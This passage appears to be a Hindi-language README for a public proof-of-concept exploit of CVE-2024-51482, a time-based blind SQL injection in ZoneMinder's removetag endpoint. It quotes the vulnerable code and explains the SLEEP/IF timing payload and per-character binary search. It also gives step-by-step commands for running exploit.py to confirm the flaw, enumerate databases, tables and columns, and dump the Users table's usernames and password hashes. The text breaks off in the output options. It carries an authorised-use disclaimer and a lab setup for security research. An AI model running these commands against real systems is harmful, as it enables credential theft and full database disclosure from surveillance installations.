ZoneMinder प्रमाणित समय-आधारित SQLi POC - CVE-2024-51482

⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस उपकरण को उन प्रणालियों के विरुद्ध चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।

---

विषय-सूची

• ZoneMinder प्रमाणित समय-आधारित SQLi POC - CVE-2024-51482
  • विषय-सूची
  • अवलोकन
  • भेद्यता विवरण
    • CVE-2024-51482 — समय-आधारित ब्लाइंड SQL इंजेक्शन
    • मूल कारण
    • हमला प्रवाह
  • रिपॉजिटरी संरचना
  • आवश्यकताएँ
  • स्थापना
    • PoC
    • Docker प्रयोगशाला
  • उपयोग
    • डिफ़ॉल्ट व्यवहार
    • सहायता स्क्रीन
    • कमांड्स
    • आउटपुट विकल्प
    • फ्लैग संदर्भ
    • पूर्ण उदाहरण
    • नोट्स
    • Docker प्रयोगशाला
  • उदाहरण आउटपुट
  • समाधान
    • इस CVE के विरुद्ध
    • समान भेद्यताओं के विरुद्ध
  • प्रकटीकरण समयरेखा
  • संदर्भ

---

अवलोकन

इस रिपॉजिटरी में ZoneMinder को लक्षित करने वाला एक समय-आधारित SQL इंजेक्शन PoC शामिल है।

यह उपकरण अनुमति देता है:

• भेद्यता सत्यापन
• डेटाबेस गणना
• तालिका और स्तंभ खोज
• पूर्ण तालिका डंपिंग
• CSV निर्यात

इसमें सुरक्षित परीक्षण के लिए पूरी तरह से प्रतिलिपि प्रस्तुत करने योग्य Docker लैब भी शामिल है।

---

भेद्यता विवरण

CVE-2024-51482 — समय-आधारित ब्लाइंड SQL इंजेक्शन

• CVE पहचानकर्ता: CVE-2024-51482
• CVSS v3.1 स्कोर: 10.0 (गंभीर)
• भेद्यता प्रकार: समय-आधारित ब्लाइंड SQL इंजेक्शन
• प्रभावित संस्करण: ZoneMinder v1.37.* <= 1.37.64
• हमला वेक्टर: प्रमाणित एंडपॉइंट (removetag)
• प्रभाव: पूर्ण डेटाबेस प्रकटीकरण, डेटा अखंडता से समझौता
• प्रमाणीकरण आवश्यक: हाँ (निम्न-विशेषाधिकार उपयोगकर्ता पर्याप्त है)

मूल कारण

ZoneMinder एक मुफ़्त, ओपन सोर्स क्लोज्ड-सर्किट टेलीविज़न सॉफ़्टवेयर एप्लिकेशन है। यह भेद्यता ZoneMinder के removetag एंडपॉइंट में अपर्याप्त इनपुट सत्यापन से उत्पन्न होती है। उपयोगकर्ता द्वारा प्रदान किया गया इनपुट बिना उचित स्वच्छता या पैरामीटरीकरण के सीधे SQL क्वेरी में शामिल किया जाता है, जिससे हमलावर दुर्भावनापूर्ण बूलियन-आधारित SQL पेलोड इंजेक्ट कर सकते हैं। शोषण निम्नलिखित का उपयोग करता है:

SLEEP(x - IF(condition, 0, x))

प्रतिक्रिया समय के माध्यम से डेटा का अनुमान लगाने के लिए।

पूर्ण भेद्य कोड स्निपेट Github Maintainer Advisory से:

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

हमला प्रवाह

Attacker                              ZoneMinder Web App
   │                                         │
   │  [Auth]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← authenticated session
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               SQL boolean query executed
   │                               IF(condition, no delay, SLEEP)
   │◄────────────────────────────────────────│
   │  Delayed response (timing oracle)       │  ← condition inferred
   │                                         │
   │  Repeat requests                        │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Timing differences reveal characters   │
   │                                         │
   │  Binary search per character            │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Extracted data (1 char at a time)      │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Full database disclosure               │
   │                                         │
   ✓  Complete data exfiltration via blind SQLi

---

रिपॉजिटरी संरचना

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

---

आवश्यकताएँ

• Python 3.8+
• requests
• Docker और docker-compose (प्रयोगशाला वातावरण के लिए)

---

स्थापना

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Docker प्रयोगशाला

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # पर्यावरण चर कॉन्फ़िगर करें
docker compose up -d

---

उपयोग

डिफ़ॉल्ट व्यवहार

बिना किसी फ्लैग के, उपकरण लक्ष्य को प्रमाणित करेगा, इसकी भेद्यता की जांच करेगा, और यदि भेद्य है, तो zm.Users तालिका (dump-users कमांड) से ID, Username, Password, Name और Email कॉलम डंप करेगा।

python exploit.py -t http://target/zm -u <username> -p <password>

सहायता स्क्रीन

python exploit.py -h

कमांड्स

check

केवल जांचता है कि लक्ष्य भेद्य है या नहीं।

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

zm.Users तालिका से ID, Username, Password, Name और Email कॉलम डंप करता है। यदि कोई कमांड निर्दिष्ट नहीं है तो यह डिफ़ॉल्ट कमांड है।

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

सभी डेटाबेस सूचीबद्ध करता है।

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

निर्दिष्ट डेटाबेस में तालिकाओं को सूचीबद्ध करता है।

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

निर्दिष्ट तालिका में स्तंभों को सूचीबद्ध करता है।

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

dump-table

निर्दिष्ट तालिका से सभी डेटा डंप करता है।

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

आप डंप करने के लिए स्तंभ भी निर्दिष्ट कर सकते हैं (डिफ़ॉल्ट रूप से सभी):

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

आउटपुट विकल्प

टर्मिनल आउटपुट अक्षम करें

--no-display